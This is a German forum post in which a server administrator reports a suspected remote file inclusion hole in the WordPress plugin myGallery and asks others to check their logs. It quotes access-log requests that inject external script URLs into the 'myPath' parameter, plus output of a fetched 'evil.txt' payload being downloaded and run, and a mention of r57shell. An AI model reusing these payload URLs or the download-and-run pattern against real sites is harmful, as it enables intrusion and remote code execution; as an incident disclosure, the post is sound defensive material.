Ich möchte zwar hier keine Pferde scheu machen oder sonstiges, aber so wie es aussieht ist wildbits -- myGallery auch in der aktuellen Version offen für Exploits.
Wenn ich das richtig im Kopf habe, nicht das erste mal.
Auf meinem Server hoste ich derzeit temporär einen, nennen wir es Gast, und seitdem habe ich deftige Probleme auf der Maschine.
Ergo, Logfiles sichten.
Just beim sichten spawnten 4 Perl-Prozesse welche sich die komplette CPU teilten.
In den Logfiles finde ich Einträge ala:
Gestern:
217.133.11.130 - - [19/Jun/2007:20:59:17 +0200] "GET //wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.freewebtown.com/scan/evilx? HTTP/1.1" 302 423 "-" "libwww-perl/5.65"
217.133.11.130 - - [19/Jun/2007:20:59:17 +0200] "GET /wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://www.freewebtown.com/scan/evilx? HTTP/1.1" 302 423 "-" "libwww-perl/5.65"
Heute:
204.152.189.72 - - [21/Jun/2007:14:25:09 +0200] "GET /wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://200.14.236.50/intranet/img/c.txt?\r HTTP/1.1" 302 - "-" "curl/7.9.8 (i386-redhat-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.7a) (ipv6 enabled)"und
--18:24:10-- http://www.freewebtown.com/scan/evil.txt
=> `evil.txt'
Resolving www.freewebtown.com... 198.78.81.43
Connecting to www.freewebtown.com|198.78.81.43|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17,128 (17K) [text/plain]
0K .......... ...... 100% 78.12 KB/s
18:24:11 (78.12 KB/s) - `evil.txt' saved [17128/17128]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 17128 100 17128 0 0 38972 0 --:--:-- --:--:-- --:--:-- 73013
sh: fetch: command not found
Can't open perl script "evil.txt": No such file or directory
[Wed Jun 20 18:59:57 2007] [error] [client 127.0.0.1] File does not exist: /srv/www/vhosts/default/htdocs/r57shell
error: "kern.ostype" is an unknown key
error: "kern.osrelease" is an unknown keyGestern wurde das Plugin (2 mal, da 2 Blogs auf der Domain) auf die aktuelle Version geupdated, aber heute dann wieder solch ein Verhalten/Aufruf/etc.
Deswegen meine Vermutung das myGallery verwundbar ist, und wenn ich mir die geladenen URL/txt anschaue wird mir ganz anders.
Vielleicht kann dies Jemand bestätigen oder evt. mal in seinen Logs nachprüfen.
Ich persönlich setze dieses Plugin nicht ein, kann deswegen auch nicht viel dazu sagen.